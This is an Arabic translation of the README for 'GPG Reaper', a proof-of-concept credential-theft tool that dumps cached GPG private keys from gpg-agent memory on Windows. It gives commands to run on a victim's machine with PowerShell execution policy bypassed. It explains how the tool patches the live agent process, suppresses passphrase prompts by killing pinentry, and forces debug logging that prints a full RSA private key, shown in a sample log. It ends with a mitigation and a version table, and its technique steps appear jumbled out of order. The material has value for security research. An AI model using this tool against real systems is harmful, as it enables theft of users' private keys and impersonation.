
GPG Reaper - الحصول/سرقة/استعادة مفاتيح GPG الخاصة من ذاكرة التخزين المؤقت/الذاكرة لـ gpg-agent
TL;DR: الحصول/سرقة/استعادة المفاتيح الخاصة لـ GPG من ذاكرة التخزين المؤقت/ذاكرة gpg-agent
يُظهر هذا البرهان على المفهوم طريقة للحصول على المفاتيح الخاصة لـ GPG من ذاكرة gpg-agent تحت ويندوز.
عادةً يجب أن يكون هذا ممكنًا فقط في غضون 10 دقائق (قيمة --default-cache-ttl).
للأسف، يتم تنفيذ الدالة housekeeping() (المسؤولة عن تنظيف ذاكرة التخزين المؤقت) فقط إذا كنت تستخدم GPG (لا يوجد مؤقت زمني هناك).
هذا يعني أنه في حالة استخدام GPG العادية مثل: تقوم بتوقيع ملف ثم تغلق الواجهة الرسومية وتقوم بمهمة أخرى، فإن كلمة المرور الخاصة بك لا تزال موجودة في ذاكرة gpg-agent (حتى لو انتهت صلاحية ttl).
يمكن للمهاجم، الذي لديه وصول إلى جلستك الحالية، استخدام هذا لسرقة المفتاح الخاص دون معرفة عبارة المرور الخاصة بك.
ملاحظة: سيغير GPG آلية التخزين المؤقت في الإصدار 2.2.6. راجع الالتزام والمشكلة.

pip install PGPy
إذا ظهرت لك رسالة:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` عند تشغيل سكريبت بايثون، فقم بـ:
ثم:
pip install six==1.10.0
1. قم بتثبيت Gpg4Win 3.0.3
2. افتح سطر الأوامر وابدأ الوكيل بزمن تخزين مؤقت قدره 2 ثانية:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. قم بتشغيل Kleopatra وأنشئ زوج مفاتيح جديد

4. قم بتوقيع ملف اختبار عادي

5. ستظهر نافذة Pinentry وتطلب منك عبارة المرور

6. كرر الخطوتين 4-5. في كل مرة تظهر Pinentry لأن ذاكرة التخزين المؤقت لمدة 2 ثانية قد انتهت صلاحيتها
7. قم بتشغيل GPG reaper
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
سترى شيئًا مثل:
[+] تم الكشف عن إصدار GPG 3.0.3
[*] تمت قراءة بايتات jmp: F6-05-E0-F9-45-00-04-0F-85
[*] تمت قراءة بايتات housekeeping: 55
[+] تم العثور على المفتاح السري
[+] التحقق من قابض المفتاح:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] تم العثور على المفتاح العام
[*] تم تخصيص الذاكرة في: 2d00000
[+] تمت قراءة سجل التصحيح C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] تم تفريغ المفتاح
[*] إنهاء المهمة الخلفية
[*] استعادة البايتات
كما ترى، قمنا بتفريغ المفتاح. هذا ممكن لأننا قمنا بتعطيل دالة housekeeping.
8. استعادة المفتاح الخاص:
python gpg_reaper.py .\testme.txt
يتم تفريغ المفتاح الخاص إلى الملف:
[+] تفريغ E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent هو خفيِّة لإدارة المفاتيح الخاصة بشكل مستقل عن أي بروتوكول.
تتواصل واجهة المستخدم الرسومية مع الوكيل باستخدام بروتوكول Assuan.
بشكل افتراضي، يقوم الوكيل بتخزين بيانات اعتمادك مؤقتًا.
يقوم الخيار --default-cache-ttl n بتعيين الوقت الذي يكون فيه إدخال التخزين المؤقت صالحًا إلى n ثانية.
القيمة الافتراضية هي 600 ثانية. في كل مرة يتم الوصول إلى إدخال التخزين المؤقت، يتم إعادة ضبط الموقت الخاص به.
تحت ويندوز، تبدو عملية التوقيع هكذا:

الجزء الحاسم هنا هو دالة housekeeping() المسؤولة عن إزالة بيانات الاعتماد منتهية الصلاحية من الذاكرة.
ولكن هناك مشكلة واحدة هنا: يتم تنفيذ هذه الدالة فقط في مكانين (داخل agent_put_cache و agent_get_cache).
هذا يعني أن بيانات الاعتماد المخزنة مؤقتًا لا تتم إزالتها من الذاكرة حتى يتم تنفيذ بعض أوامر gpg-agent التي تستخدم agent_put_cache أو agent_get_cache أو agent_flush_cache.
على جهاز الضحية:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
قم بنقل out.txt إلى جهازك واستعادة المفاتيح الخاصة:
gpg_reaper.py out.txt
سيتم تفريغ المفاتيح الخاصة في ملفات منفصلة.
إذا تم تثبيت GPG خارج الأدلة الافتراضية:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
إذا كنت لا تريد رسائل التصحيح:
Gpg-Reaper -Verbose $false
لنفترض أنك تقوم باختبار الاختراق وتحصل على شل على جهاز مثبت عليه GPG.
إذا كنت محظوظًا وكان المستخدم قد استخدم GPG مؤخرًا ولم تنته صلاحية ذاكرة التخزين المؤقت، يمكنك:
1. توقيع ملف:
قم بتشغيل c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. تصدير المفتاح الخاص:
قم بتشغيل c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
للأسف، هذا لا يعمل كما هو متوقع ويطلب كلمة المرور.
لماذا؟ لأن دالة cmd_export_key() تقوم بتنفيذ agent_key_from_file() مع علامة CACHE_MODE_IGNORE مما يعني أن ذاكرة التخزين المؤقت لن تُستخدم ويُطلب من المستخدم إدخال عبارة المرور في كل مرة.
نحن نعلم أنه غير ممكن تصدير مفتاح GPG عبر gpg-agent دون معرفة كلمة المرور.
ولكن هناك حيلة صغيرة هنا. يحتوي الوكيل على عدد قليل من الخيارات المتاحة:
1. --debug-level
اختر مستوى التصحيح للتحقيق في المشكلات. يمكن أن يكون المستوى قيمة رقمية أو كلمة رئيسية:
guru - جميع رسائل التصحيح التي يمكنك الحصول عليها.
2. --log-file file
ألحق كل مخرجات التسجيل إلى ملف. هذا مفيد جدًا لرؤية ما يفعله الوكيل بالفعل.
لنقم بتشغيل الوكيل باستخدام gpg-agent.exe --daemon --debug-level guru --log-file out.txt وتوقيع ملف.
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG: (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG: (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG: (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))
يبدو أن وضع guru يطبع الأرقام n، e، d، p، q و u إلى ملف السجل. بمعرفة ذلك، يمكننا حساب المفتاح العام والخاص.
داخليًا، تتم طباعة قيمة skey بواسطة gcry_log_debugsxp() عندما يتم تعيين DBG_CRYPTO:
if (DBG_CRYPTO)
{
gcry_log_debugsxp ("skey", s_skey);
gcry_log_debugsxp ("hash", s_hash);
}
إذا كنت تريد الحماية من هذا الهجوم، فأنت بحاجة إلى تعطيل التخزين المؤقت.
قم بإنشاء/تعديل: %APPDATA%\gnupg\gpg-agent.conf:
default-cache-ttl 0
max-cache-ttl 0
تحقق من صحة مسارات gpg-connect-agent.exe و gpg-agent.exe و gpg.exe
تحقق من أن sha256 لـ gpg-agent.exe مدعوم
تحقق من أن عملية gpg-agent.exe قيد التشغيل وافتحها باستخدام OpenProcess
Start-Job الذي يقتل جميع عمليات pinentry. لذلك عندما نطلب مفتاحًا ليس في ذاكرة التخزين المؤقت، يمكننا المتابعة دون تفاعل المستخدم
اقرأ البايتات الأصلية من housekeeping() و agent_pksign_do() حتى نتمكن من استعادتها بعد تنفيذ السكريبت
قم بتعطيل دالة housekeeping() (NOP) حتى لا تزيل ذاكرة التخزين المؤقت منتهية الصلاحية من الذاكرة


gpg-connect-agent.exe:SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
تحقق مما إذا كان ملف السجل يحتوي على الأرقام n، e، d، p، q و u. إذا كان الأمر كذلك، قم بإعادتها إلى المستخدم.
كرر النقط 8-11 لكل مفتاح من النقطة 7
الآن باستخدام مكتبة PGPy يمكننا استعادة المفتاح الخاص. راجع: gpg_reaper.py
تم تجميع gpg-agent بدون ASLR لذلك أستخدم بعض الإزاحات الثابتة داخل سكريبت PowerShell.
وبسبب ذلك، فإن الإصدارات المحددة فقط هي المدعومة:
| الإصدار | sha256 لـ gpg-agent.exe |
|---|---|
| 3.0.3 | D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A |
| 3.0.2 | 3FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8 |
لأنه يمكن تشغيل هذا الملف دون أي تبعيات خارجية على معظم أنظمة ويندوز الحديثة.
gpg-connect-agent.exe أو gpg-agent.exe أو gpg.exe غير موجودة في الموقع الافتراضي.
يمكنك محاولة تحديد موقع مخصص باستخدام:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
gpg-agent.exe غير قيد التشغيل على هذا النظام، لذلك لا يمكننا استعادة المفتاح الخاص.
حاليًا، يدعم هذا السكريبت فقط إصدارات محددة
لا يوجد مفتاح مخبأ في الذاكرة، لذلك لا يمكننا استعادة المفتاح الخاص.
أيقونة المنجل من صنع Freepik من www.flaticon.com.
الخط Solstice Of Suffering من GraveTech.
احصل على قائمة بجميع المفاتيح الخاصة المتاحة باستخدام gpg.exe --list-secret-keys --with-keygrip
احصل على المفتاح العام باستخدام gpg.exe --armor --export %key_fingerprint%
قم بتخصيص ذاكرة داخل gpg-agent.exe باستخدام VirtualAllocEx. قم بتخزين المسار إلى ملف السجل الخاص بنا هناك واستدعاء log_set_file().
استبدل if (DBG_CRYPTO) باستدعاء الذاكرة المخصصة من النقطة 9 داخل agent_pksign_do().
| 3.0.1 | BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE |
| 3.0.0 | C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC |